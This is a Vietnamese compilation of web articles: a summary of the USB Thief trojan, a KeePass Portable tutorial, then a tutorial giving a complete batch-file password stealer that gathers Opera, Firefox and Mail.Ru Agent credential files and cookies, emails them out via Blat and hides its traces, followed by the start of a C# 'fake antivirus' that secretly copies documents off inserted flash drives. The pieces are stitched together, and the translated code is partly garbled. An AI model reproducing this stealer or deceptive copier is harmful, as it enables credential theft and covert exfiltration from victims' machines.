Công cụ lấy ổ đĩa flash đơn giản nhất. USB Thief Trojan không để lại dấu vết và hoạt động trên ổ đĩa flash Ứng dụng đánh cắp dữ liệu qua ổ đĩa flash

Một Trojan cực kỳ bất thường: phần mềm độc hại có tên là USB Thief (Win32/PSW.Stealer.NAI). Phần mềm độc hại tập trung vào việc đánh cắp dữ liệu; nó lây lan và chạy trên các ổ đĩa flash thông thường và khéo léo che giấu dấu vết về sự hiện diện của nó trong hệ thống. Trojan này rất lý tưởng cho hoạt động gián điệp mạng vì nó thậm chí có thể tiếp cận các hệ thống bị cô lập nếu ổ USB có thể được kết nối với chúng.

Không giống như các mối đe dọa USB khác tự cài đặt khi khởi động và giả mạo các phím tắt ứng dụng để khiến phần mềm độc hại chạy, USB Thief hoạt động khác. Trojan được thiết kế nhằm mục đích là người dùng thường lưu trữ các phiên bản di động của ứng dụng như Firefox, NotePad++, TrueCrypt, v.v. trên ổ đĩa flash. Phần mềm độc hại tích hợp gọn gàng vào chuỗi tải xuống của các chương trình như vậy, dưới dạng plugin hoặc tệp DLL. Do đó, khi người dùng khởi chạy một ứng dụng quen thuộc từ ổ đĩa flash, Trojan sẽ được khởi chạy cùng với ứng dụng đó (ở chế độ nền).

Tác giả không xác định của phần mềm độc hại đã quan tâm đến việc bảo vệ nghiêm túc cho sự phát triển của nó. USB Thief liên kết với từng ổ flash bị nhiễm bằng cách sử dụng ID và thông số ổ đĩa duy nhất của nó. Một số tệp Trojan được bảo vệ bằng mã hóa AES128 và khóa được tạo dựa trên các thông số duy nhất của thiết bị. Ngoài ra, tên của các tệp phần mềm độc hại cũng khác nhau trong từng trường hợp: chúng được tạo dựa trên nội dung của ổ đĩa flash và thời gian tệp được tạo. Nếu bạn cố gắng sao chép USB Thief sang ổ flash hoặc ổ cứng thông thường khác, hệ thống bảo vệ hai giai đoạn này sẽ ngăn phần mềm độc hại hoạt động và cũng sẽ làm phức tạp nghiêm trọng kỹ thuật đảo ngược.

Cấu trúc trojan

USB Thief hoạt động trực tiếp từ ổ đĩa flash và không để lại dấu vết trên hệ thống. Trojan bao gồm sáu tệp, bốn trong số đó có thể thực thi được và hai tệp khác chứa dữ liệu cấu hình. Trình tải đầu tiên chịu trách nhiệm khởi chạy Trojan cùng với phiên bản di động của chương trình. Anh ta kiểm tra thiết bị USB và đảm bảo rằng anh ta có thể ghi thông tin bị đánh cắp vào đó và lưu trữ ở đây. Sau đó, trình tải thứ hai bắt đầu. Nó kiểm tra tên của các tiến trình gốc và đảm bảo rằng nó đang chạy trong môi trường bình thường (và không ai cố gắng phân tích nó). Đến lượt trình tải thứ ba sẽ kiểm tra sự hiện diện của phần mềm chống vi-rút trong hệ thống.

Tải trọng cuối cùng, thứ tư, được tích hợp vào quy trình đang chạy, chịu trách nhiệm trực tiếp về việc đánh cắp dữ liệu. USB Thief đánh cắp tài liệu, hình ảnh, danh sách tệp từ tất cả các ổ đĩa có sẵn, dữ liệu đăng ký Windows và thông tin được thu thập bằng WinAudit. Tất cả dữ liệu bị đánh cắp được lưu trữ trên ổ đĩa flash và được mã hóa bằng mật mã hình elip.

Các chuyên gia ESET lưu ý rằng các cuộc tấn công sử dụng USB Thief vẫn chưa phải là cách phổ biến. Tuy nhiên, Trojan rất nguy hiểm vì rất khó phát hiện sự hiện diện của nó và sau khi tháo ổ USB ra, không còn dấu vết đánh cắp thông tin nào cả. Báo cáo của công ty cũng nêu rõ rằng tác giả phần mềm độc hại, nếu muốn, có thể “tái sử dụng” phần mềm độc hại của mình bằng cách thay thế tải trọng đánh cắp dữ liệu bằng bất kỳ phần mềm độc hại nào khác.

Nhiều công ty, bao gồm cả Sony và Adobe, đã trở thành nạn nhân của tin tặc đánh cắp hàng triệu mật khẩu và dữ liệu người dùng khác. Phân tích thông tin này cho thấy nhiều người dùng thường sử dụng mật khẩu yếu như “123456” hoặc cùng một mật khẩu cho nhiều dịch vụ. Điều này khiến hacker vô cùng dễ dàng thực hiện công việc của mình, đồng thời, sự bất cẩn như vậy cũng dễ hiểu: ai có thể nhớ được hơn chục mật khẩu phức tạp?

Một giải pháp đơn giản có thể là dán một mảnh giấy dưới bàn phím. Không một hacker nào có thể xâm phạm được nhưng bạn sẽ phải liên tục theo dõi những người ở gần máy tính của mình. Và trang tính này sẽ không có tác dụng nếu bạn muốn đăng nhập vào tài khoản của mình từ máy tính của người khác.

Công cụ KeePass 2 Portable miễn phí sẽ giải quyết vấn đề nan giải này. Để nó hoạt động, bạn chỉ cần một ổ flash USB có 10 MB dung lượng trống để cài đặt chương trình hỗ trợ. Trong tương lai, bạn sẽ chỉ cần nhớ một mật khẩu - dành cho vùng được bảo vệ của ổ đĩa flash. Rốt cuộc, KeePass lưu trữ dữ liệu đăng nhập cho các dịch vụ web của bạn dưới dạng ngân hàng dữ liệu được mã hóa, được bảo vệ bằng mật khẩu chính.

Trojan đánh cắp mật khẩu sẽ không thể đánh hơi được bất cứ thứ gì. Và vì bạn không còn phải nhớ hàng tá mật khẩu nên bạn có thể sử dụng mật khẩu mới thực sự mạnh cho mỗi dịch vụ web. Bây giờ chúng tôi sẽ cho bạn biết chi tiết cách sử dụng KeePass.

Làm thế nào để làm nó

1 Cài đặt mật khẩu an toàn


Cài đặt mật khẩu an toàn

Lắp ổ flash USB vào PC, tạo một thư mục mới trên đó và sao chép nội dung của kho lưu trữ bằng phần mềm KeePass vào đó. Chạy chương trình KeePass.exe. Sau khi khởi chạy, hãy kích hoạt tính năng tìm kiếm tự động các bản cập nhật bằng cách nhấp vào “Bật” trong cửa sổ bật lên. Sau đó chọn "Xem | Thay đổi ngôn ngữ" và nhấp vào "Nhận thêm ngôn ngữ".

Tải xuống tệp tiếng Nga từ trang web mở ra bằng cách nhấp vào “Tiếng Nga | 2,25+". Giải nén nội dung của kho lưu trữ vào ổ USB. Bấm vào “Xem | Thay đổi ngôn ngữ", chọn "Tiếng Nga" và khởi động lại KeePass bằng cách nhấp vào nút "Có".

2 Tạo cơ sở dữ liệu mật khẩu mới


Tạo cơ sở dữ liệu mật khẩu mới

Chọn Tệp | Mới" và chỉ định ổ USB làm nơi lưu trữ mật khẩu. Trong cửa sổ tiếp theo, chương trình sẽ nhắc bạn đặt mật khẩu chính. Bạn sẽ cần nhập nó mỗi khi khởi động KeePass.

3 Kích hoạt Chế độ bảo vệ


Kích hoạt Chế độ bảo vệ

Để ngăn Trojan đọc mật khẩu KeePass của bạn, bạn nên sử dụng chế độ bảo vệ của chương trình để nhập mật khẩu đó, tương tự như UAC trong Windows 7. Để thực hiện việc này, trong KeePass, hãy đi tới “Tools | Cài đặt | Bảo mật", di chuyển xuống cuối cửa sổ và chọn hộp bên cạnh "Nhập mật khẩu chính ở chế độ bảo mật".

4 Điền vào cơ sở dữ liệu bằng mật khẩu


Điền vào cơ sở dữ liệu bằng mật khẩu

KeePass có thể sắp xếp mật khẩu thành các nhóm. Theo mặc định, ngân hàng mật khẩu mới của bạn có các nhóm như "OS" hoặc "Internet". Để tạo một mục mới, hãy chọn nhóm thích hợp (hoặc tạo một mục mới), nhấp chuột phải vào vùng màu trắng ở bên phải rồi nhấp vào “Thêm mục nhập”.

Điền vào tất cả các trường và nhấp vào OK. Vì bạn không còn cần phải nhớ mật khẩu để đăng nhập vào từng tài khoản, bạn có thể đặt mật khẩu mới, phức tạp hơn, chẳng hạn như có thể được tạo trên trang web passwort-generator.com.

5 Sử dụng ủy quyền tự động


Nếu bạn muốn đăng nhập vào dịch vụ bằng KeePass, hãy mở nhóm lưu trữ mật khẩu tương ứng. Nhấp chuột phải vào mục nhập tương ứng trong kho mật khẩu KeePass và chọn “Bắt đầu quay số tự động” từ danh sách thả xuống. Sau đó, chương trình sẽ chuyển dữ liệu của bạn sang trình duyệt và trình duyệt sẽ mở một cửa sổ mới nơi bạn sẽ đăng nhập vào tài khoản của mình.

Xin lưu ý rằng trong trường “URL”, bạn phải nhập URL mà bạn thường nhập trong trình duyệt để ủy quyền, nếu không việc nhập mật khẩu tự động qua KeePass sẽ không hoạt động.

6 Mở rộng khả năng KeePass của bạn


Mở rộng khả năng KeePass của bạn

Nếu bạn muốn mở rộng chức năng của KeePass, hãy truy cập “Công cụ | Mô-đun | Nhiều mô-đun hơn”, sau đó bạn sẽ được chuyển hướng đến một trang web có các tiện ích mở rộng hữu ích (bạn sẽ tìm thấy các đề xuất của chúng tôi trong bảng trên). Bây giờ hãy nhấp vào tên của plugin để tải xuống và giải nén nó vào ổ đĩa flash.

Khởi chạy lại KeePass và truy cập “Tools | Mô-đun". Danh sách các plugin có sẵn sẽ được hiển thị ở phía dưới (một số plugin có thể được tùy chỉnh).

Các tiện ích mở rộng tốt nhất cho KeePass

Cung cấp mật khẩu của bạn an toàn với các chức năng bổ sung, chẳng hạn như sao lưu hoặc truyền mật khẩu cho điện thoại di động.

Tên

Sự miêu tả

Sao lưu cơ sở dữ liệu Đặt bảo vệ ngân hàng mật khẩu trong trường hợp ổ USB bị đánh cắp hoặc bị mất.
Mật mã hai con cá
KeeAgent Thêm một thuật toán mã hóa gần như không thể bẻ khóa; Xin lưu ý rằng điều này sẽ khiến KeePass hoạt động chậm hơn.
Trao đổi khóa Thêm một thuật toán mã hóa gần như không thể bẻ khóa; Xin lưu ý rằng điều này sẽ khiến KeePass hoạt động chậm hơn.
KeeForm Mở các trang web yêu thích của bạn chỉ bằng một nút bấm và tự động điền thông tin đăng nhập của bạn.
Trong bài viết này, tôi sẽ mô tả cách bạn có thể viết và tạo ra một loại vi-rút đánh cắp các tệp có mật khẩu và gửi tất cả vào hộp thư của bạn một cách nhanh chóng và không gặp nhiều khó khăn.
Hãy bắt đầu với thực tế là vi-rút sẽ được viết bằng bat"e (CMD, bạn có thể thực hiện các lệnh cơ bản), nghĩa là trong một tệp văn bản thông thường và sẽ được thực thi bằng trình thông dịch Windows tích hợp tiêu chuẩn - "dòng lệnh ".
Để viết một loại vi-rút như vậy, bạn cần biết chính xác vị trí lưu trữ của các tệp mà nó sẽ đánh cắp, các thành phần Blat có thể được tải xuống từ http://www.blat.net/ bên ngoài trang web hoặc từ máy chủ của chúng tôi, cũng như một thành phần từ bộ lưu trữ WinRaR Rar.exe (bạn có thể làm mà không cần nó).
Mở notepad và sao chép đoạn mã sau vào đó:

@echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\ MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" sao chép /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" sao chép /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ sao chép /y Wand.dat %SystemDrive%\pass\opera\wand.dat sao chép /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y >nul cd %AppData%\Mozilla\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db sao chép /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite sao chép /y %Windir%\Rar.exe %SystemDrive%\pass\Rar .exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\ pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u đăng nhập -pw Mật khẩu ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -đính kèm %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\ vượt qua rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat.exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

Tôi sẽ không viết nhiều về mã khởi động.
@echo off - giấu phần thân của batinka (vì vậy nó không cần thiết, nhưng vẫn vậy)
md %systemroot%\wincs - tạo thư mục wincs trong thư mục hệ thống Windows, bất kể nó được cài đặt trên ổ đĩa nào hay nó được đặt tên là gì.
md %SystemDrive%\pass\ - tạo thư mục pass trên đĩa nơi cài đặt hệ thống Windows.
md %SystemDrive%\pass\opera\ - tạo thư mục opera nơi Wank.dat và cookies4.dat từ trình duyệt Opera sẽ được sao chép trong tương lai (tối đa 11* phiên bản, Opera lưu trữ mật khẩu của nó trong tệp Wand.dat)
md %SystemDrive%\pass\Mozilla\- tạo một thư mục Mozilla nơi các tệp từ trình duyệt Mozilla (cookies.sqlite, key3.db, signons.sqlite) trong đó mật khẩu được lưu trữ sẽ được sao chép trong tương lai.
md %SystemDrive%\pass\MailAgent\- tạo một thư mục MailAgent để sao chép các tệp chứa lịch sử thư từ và khóa đăng ký (lưu trữ mật khẩu) từ Mail Agent.
md %SystemDrive%\pass\MailAgent\reg- tạo thư mục reg
attrib %systemroot%\wincs +h +s +r- đặt các thuộc tính vào thư mục wincs, do đó ẩn nó khỏi chế độ xem.
attrib %SystemDrive%\pass +h +s +r- như trên.
sao chép /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- sao chép tệp blat.exe từ vị trí tải lên vào thư mục wincs
sao chép /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- sao chép tệp blat.dll từ vị trí tải lên vào thư mục wincs
sao chép /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- sao chép tệp blat.lib từ vị trí tải lên vào thư mục wincs
CD /D %APPDATA%\Opera\Opera\ - đi tới thư mục opera nơi chứa các tệp có mật khẩu (và những thứ khác) cho opera.
sao chép /y Wand.dat %SystemDrive%\pass\opera\wand.dat- sao chép tập tin Wand.dat vào thư mục opera
sao chép /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat- sao chép tệp cookie4.dat vào thư mục opera
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- xuất khóa đăng ký magent_logins2, nơi lưu trữ mật khẩu, vào thư mục reg
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- xuất khóa đăng ký magent_logins3, nơi lưu trữ mật khẩu, vào thư mục reg
CD /D %APPDATA% - đi tới thư mục AppData
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- sao chép nội dung của thư mục Mra\Base vào thư mục MailAgent
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- sao chép tệp ver.txt vào thư mục MailAgent
cd %AppData%\Mozilla\Firefox\Profiles\*.default\- đi tới thư mục có hồ sơ trình duyệt Mozilla
sao chép /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- sao chép tệp cookies.sqlite vào thư mục Mozilla
sao chép /y key3.db %SystemDrive%\pass\Mozilla\key3.db- sao chép tệp key3.db vào thư mục Mozilla
sao chép /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite- sao chép tệp signons.sqlite vào thư mục Mozilla
sao chép /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- sao chép thành phần lưu trữ WinRar Rar.exe vào thư mục pass
del /s /q %SystemRoot%\Rar.exe- xóa thành phần lưu trữ khỏi thư mục Windows
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- lưu trữ nội dung của thư mục pass
sao chép /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar sao chép kho lưu trữ đã tạo vào thư mục wincs
cd %systemroot%\wincs - đi tới thư mục wincs
%systemroot%\wincs\blat.exe -cài đặt -server smtp.yandex.ru -port 587 -f [email protected] -u đăng nhập -pw Mật khẩu - chuẩn bị chương trình Blat để gửi kho lưu trữ bằng cách chỉ định dữ liệu để ủy quyền và gửi thư. Đừng quên cho biết dữ liệu của bạn từ hộp thư nơi thư có kho lưu trữ. đã gửi.
ren *.rar pass.rar - đề phòng trường hợp nếu kho lưu trữ không lấy nhầm tên trong quá trình này, chúng tôi sẽ đổi tên lại thành pass.rar
%systemroot%\wincs\blat.exe -Mật khẩu tập tin nội dung -tođăng nhậ[email protected] -đính kèm %systemroot%\wincs\pass.rar- cho biết thư sẽ được gửi đến địa chỉ bưu chính nào và gửi nó.
rmdir /s /q %SystemDrive%\pass- xóa thư mục pass
rmdir /s /q %systemroot%\wincs- xóa thư mục wincs
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- xóa các thành phần Blat khỏi thư mục Windows.
del /s /q %systemroot%\blat.lib- xóa các thành phần Blat khỏi thư mục Windows.
attrib +a +s +h +r %systemroot%\wind.exe- chúng ta đặt các thuộc tính lên chính mình, từ đó che giấu bản thân khỏi tầm nhìn.
EXIT - chúng tôi hoàn thành quy trình hàng loạt và thoát.
cls - xóa đầu ra của bất kỳ dòng nào trong trình thông dịch.
Sao chép, lưu dưới dạng wind.bat và biên dịch thành exe bằng chương trình chuyển đổi Bat sang exe, sau đó chúng tôi ghép mọi thứ lại với nhau, tức là chúng tôi lấy các thành phần của chương trình Blat và thành phần lưu trữ WinRar (bạn có thể tải xuống) và dán chúng vào một tệp thực thi hoặc với bất kỳ chương trình nào, đường dẫn tải lên tất cả các tệp phải là %SystemRoot% hoặc %WindowsDir% hoặc %windir% .
Kết quả là, chúng tôi nhận được một loại vi-rút mà phần mềm chống vi-rút sẽ không phát hiện được và sẽ gửi một kho lưu trữ chứa các tệp đến email của bạn. Các tệp đến qua email có thể được giải mã bằng cách sử dụng khôi phục nhiều mật khẩu, mặc dù không phải tất cả chúng, nhưng. chỉ có Wan.dat từ opera và sau đó nếu nó chưa được cập nhật lên phiên bản 11* thì tất cả các tệp khác có thể được giải mã bằng cách thay thế chúng bằng tệp của riêng bạn.
Tôi nghĩ chúng ta có thể kết thúc ở đây, nhưng nếu bạn có bất kỳ câu hỏi nào, đừng ngần ngại hỏi.
Cảm ơn bạn đã quan tâm, chúc mọi điều tốt lành!
©SwAp TheHackWorld.in

Đối với người bình thường, ổ đĩa flash là thiết bị để truyền tài liệu/phim/ảnh và các thông tin cá nhân khác (và đôi khi rất riêng tư). Nhưng đối với tin tặc, ổ flash vừa là nạn nhân vừa là công cụ chiến đấu. Hôm nay tôi sẽ kể cho bạn tất cả những điều phức tạp của việc lặng lẽ rò rỉ dữ liệu từ ổ đĩa flash vào máy tính của bạn, đồng thời cũng sẽ hướng dẫn bạn cách biến ổ đĩa flash vô hại thành chương trình sao lưu mật khẩu từ một máy tính “lớn”.

Bẫy ổ đĩa flash của người khác

Ý tưởng của chương trình “Máy tính ác” sẽ như sau. Chúng tôi sẽ phát triển một công cụ nhỏ giả vờ là một phần mềm chống vi-rút siêu tiên tiến, mục đích của công cụ này là loại bỏ hiệu quả các vi-rút “nguy hiểm” khỏi ổ đĩa flash. Ổ đĩa flash bị nhiễm vi-rút sẽ không làm ai ngạc nhiên, vì vậy phần mềm chống vi-rút chuyên dụng của chúng tôi sẽ không gây lo ngại cho người dùng cả tin. Ngược lại, khi bạn lắp ổ flash vào máy tính và thấy thông báo như: “Một loại virus đã được phát hiện. Tôi tiến hành quét chi tiết tất cả các tệp để tìm những tệp bị nhiễm.”, – nó chắc chắn sẽ đợi hoạt động này hoàn thành.

Chuẩn bị dụng cụ

Chúng tôi sẽ viết một chương trình hữu ích như vậy bằng C# thời thượng hiện nay. Tính linh hoạt của ngôn ngữ và chức năng rộng rãi của nền tảng .NET cho phép bạn phát triển ứng dụng với tốc độ cực nhanh. Đây chính xác là những gì chúng ta cần. Chúng tôi quan tâm đến vụ thu hoạch mà chúng tôi có thể gặt hái được chứ không phải quá trình mã hóa tẻ nhạt.

Một trong những thành phần quan trọng của ứng dụng của chúng tôi sẽ là giao diện. Bạn càng làm chắc chắn thì khả năng nạn nhân không nhận ra việc bắt được càng lớn và sẽ bình tĩnh chờ quá trình quét chống vi-rút hoàn tất. Tôi không bận tâm quá nhiều và chỉ đặt một hình ảnh và ProgressBar dưới dạng một dự án sạch. Bạn có thể có một sự bùng nổ và tạo ra một thiết kế ấn tượng. Tôi khuyên bạn nên xem xét thiết kế của một số phần mềm chống vi-rút thực sự và thiết kế ứng dụng của bạn theo phong cách gần giống nhau.

Hãy đặt nhiệm vụ

Chúng tôi sẽ cho rằng chúng tôi đã quyết định về các vấn đề tổ chức và thuật toán hành động; đã đến lúc thảo luận về các sắc thái kỹ thuật. Vì vậy, phần mềm chống vi-rút của chúng tôi sẽ bắt đầu công việc bẩn thỉu trong quá trình cài đặt ổ đĩa flash. Ngay khi một đĩa mới xuất hiện trong hệ thống, chương trình của chúng tôi phải xác định chữ cái của nó và bắt đầu sao chép.

Trước khi bắt đầu viết bài này, tôi đã xem qua mã nguồn của một chương trình tương tự. Tác giả của ví dụ đã xác định sự hiện diện của ổ đĩa flash bằng cách định kỳ tìm kiếm trong tất cả các đĩa để tìm sự hiện diện của ổ đĩa loại "phương tiện di động". Lúc đầu tôi cũng nghĩ đến việc đi theo con đường tương tự, nhưng tiếng nói bên trong tôi gợi lên sự phi lý. Sau khi cân nhắc tất cả những ưu điểm và tất cả những ưu điểm, tôi loại bỏ ý tưởng này và đi bộ đến MSND. Năm phút sau hóa ra tôi đã không làm điều đó một cách vô ích. Câu trả lời đã được tìm thấy!

Không thể nào không có WinAPI...

Cách hiệu quả nhất để tìm hiểu cách kết nối thiết bị mới (trong trường hợp của chúng tôi là ổ đĩa flash) là bắt và phân tích thông báo WM_DEVICECHANGE. Trong quá trình cài đặt thiết bị, thông báo sẽ được gửi đến tất cả các cửa sổ và chúng ta có thể dễ dàng xử lý nó trong ứng dụng của mình. Để làm được điều này, chỉ cần mô tả hàm WindowProc là đủ. Trong thực tế, nó trông giống như thế này:

LResult CALLBACK WindowProc (HWND hwnd, // mã định danh cửa sổ UINT uMsg, // mã định danh thông báo WPARAM wParam, // sự kiện xảy ra LPARAM lParam // con trỏ tới cấu trúc chứa dữ liệu)

Trong phần nội dung của hàm, bạn cần so sánh giá trị của tham số WParam với mã định danh của các sự kiện khác nhau liên quan đến thông báo WM_DEVICECHANGE. Ví dụ của chúng tôi nó sẽ là:

  • DBT_DEVICEARRIVAL - đã thêm thiết bị
  • DBT_DEVICEREMOVECOMPLETE - thiết bị đã bị xóa hoàn toàn
  • Được rồi, chúng ta biết cách xác minh rằng thiết bị mới đã được kết nối, nhưng làm cách nào chúng ta có thể chắc chắn rằng đó là ổ flash USB đã được kết nối? Có rất nhiều loại thiết bị có khả năng “cắm nóng” (tôi đang nói về USB) (máy in, máy quét, modem, v.v.). May mắn thay, vấn đề này có thể được giải quyết khá đơn giản. Sử dụng tham số LParam, chúng ta có thể truy cập cấu trúc _DEV_BROADCAST_HDR, có trường dbch_devicetype. Vì vậy, dựa trên giá trị của các trường này sẽ rút ra kết luận phù hợp. Nếu nó bằng DEV_DEVTYP_VOLUME thì đã đến lúc bạn nên vui mừng và vỗ tay - một ổ đĩa flash đã được kết nối với chúng tôi!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; // Kích thước cấu trúc DWORD dbch_devicetype; // Loại thiết bị DWORD dbch_reserved; // Dành riêng, không được sử dụng )DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    Một ổ đĩa flash đã được lắp vào PC của chúng ta, chúng ta hãy thử tìm ra ký tự ổ đĩa mà hệ thống đã gán cho nó. Giống như trong “Field of Miracles”, bạn có thể đoán được nhưng tốt hơn hết là lấy thông tin từ cấu trúc DEV_BROADCAST_VOLUME.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; // Kích thước cấu trúc DWORD dbcv_devicetype; // Loại thiết bị DWORD dbcv_reserved; // DWORD dbcv_unitmask dành riêng; // Mặt nạ ký tự ổ đĩa WORD dbcv_flags; // )DEV_BROADCAST_VOLUME, *PDEV_ BROADCAST_VOLUME;

    Trong tất cả các trường trong cấu trúc này, chúng tôi quan tâm đến dbcv_unitmask. Hãy nhớ rằng thuộc tính này chỉ chứa một chút chữ cái chứ không chứa biểu tượng tượng trưng của nó. Ví dụ: nếu giá trị là 0 thì ký tự ổ đĩa sẽ là A; nếu 1 thì B, v.v. Để thuận tiện cho việc lấy chữ cái tượng trưng, ​​tốt nhất nên viết hàm.

    Nếu bạn đã đọc chuyên mục của chúng tôi từ lâu và đã quen với các hàm API thì không cần phải đọc phần tiếp theo của bài viết. Mở trình chỉnh sửa và bắt đầu điêu khắc các ứng dụng. Tôi đã mô tả tất cả các cấu trúc và chức năng cần thiết; Tất cả bạn phải làm là đặt chúng lại với nhau thành một chương trình. Hãy quyết định và tôi sẽ bắt đầu tìm hiểu cụ thể về .NET và C#.

    Hãy tấn công .NET

    Đã đến lúc bắt đầu thực hành và áp dụng kiến ​​thức của bạn vào ngôn ngữ C#. "Cái quái gì vậy? - bạn hỏi. - Tôi đã dành nửa bài viết để nói về WinAPI và sau đó tôi đã ngu ngốc quyết định gọi tất cả các hàm dưới dạng mã gốc? Tốc độ phát triển nhanh như chớp được tuyên bố ở đâu?

    Ở một khía cạnh nào đó bạn đúng. Ứng dụng của chúng tôi thực sự sẽ sử dụng các hàm WinAPI (không có cách nào đơn giản hơn), nhưng chúng tôi sẽ không tự mô tả chúng. Nhiều nhà phát triển đã gặp phải vấn đề xác định ổ đĩa flash. Kết quả của những xung đột này là các lớp miễn phí dành cho C# bắt đầu xuất hiện, trong đó tất cả các chức năng cần thiết đã được triển khai. Tất cả những gì chúng ta phải làm là kết nối một mẫu như vậy (đọc thành phần) với dự án của mình và gọi một vài phương thức. Bây giờ chúng ta sẽ sử dụng một trong những lớp này. Nhưng kiến ​​thức về các cấu trúc được mô tả ở trên chắc chắn sẽ có ích khi chuyển chương trình này sang API Windows.

    Có rất nhiều lớp học làm sẵn có thể giải quyết các vấn đề tương tự, nhưng tôi thích lớp học nhất của Jan Dolinay. Người này đã viết một mã rất dễ sử dụng và dễ hiểu, lớp DriveDetector, có thể:

  • Xác định xem ổ đĩa flash có được kết nối hay không
  • Xác định yêu cầu ngắt kết nối ổ đĩa flash được kết nối
  • Xác định xem ổ đĩa flash có bị vô hiệu hóa hay không
  • Lấy ký tự ổ đĩa của ổ flash mới được kết nối
  • Cung cấp danh sách các tệp được mở từ ổ đĩa flash
  • Và quan trọng nhất, lớp này cực kỳ dễ làm việc - bạn sẽ thấy điều này ngay bây giờ. Việc kết nối một lớp với dự án của bạn được thực hiện theo cách tiêu chuẩn và không có ích gì khi dừng lại ở đó. Vì vậy, hãy chuyển thẳng sang khởi tạo. Nó được thực hiện như thế này:

    FlashDriveDetector = DriveDetector mới(); flashDriveDetector.DeviceArrived += new DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += new DriveDetectorEventHandler(OnDriveRemoved);

    Sau khi khởi tạo đối tượng lớp DriveDetector, tôi xác định các trình xử lý sự kiện cho DevieArrived() và DriveRemoved(). Từ tên của họ, không khó để đoán họ chịu trách nhiệm về việc gì. Tốt nhất là viết tất cả mã khởi tạo trong phương thức Form1(). Mã chính của chương trình của chúng tôi sẽ nằm trong trình xử lý sự kiện DeviceArrived. Bạn sẽ thấy văn bản của nó trong phần phụ:

    Chuỗi dirName = Môi trường.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(dirName); xDirectory flashcopier = xDirectory mới(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexCompleate); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Overwrite = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Xác định các bộ lọc khác //.... flashcopier.StartCopy();

    Khi bắt đầu danh sách, tôi xác định đường dẫn đến thư mục mà chúng ta sẽ sao chép nội dung của ổ đĩa flash vào. Chúng tôi sẽ sao chép vào thư mục “flash_current date”, nằm cùng với thư mục mà ứng dụng của chúng tôi được khởi chạy - điều này thuận tiện hơn. Sau khi quyết định tên thư mục, tôi cố gắng tạo nó bằng hàm CreateDirectory(). Tôi viết chức năng này chỉ để thuận tiện. Nó tạo một thể hiện của đối tượng DirectoryInfo, được thiết kế để làm việc với các thư mục và gọi phương thức Create() của nó để tạo một thư mục mới.

    Khi thư mục đã được tạo, bạn có thể tạo bản sao. Tôi sao chép tất cả các tệp bằng đối tượng loại xDirectory. Nếu bạn tự nhập mã từ danh sách thì khi bạn cố gắng biên dịch, trình biên dịch sẽ tạo ra một lỗi có màu đen trắng: "Không tìm thấy đối tượng thuộc loại này".

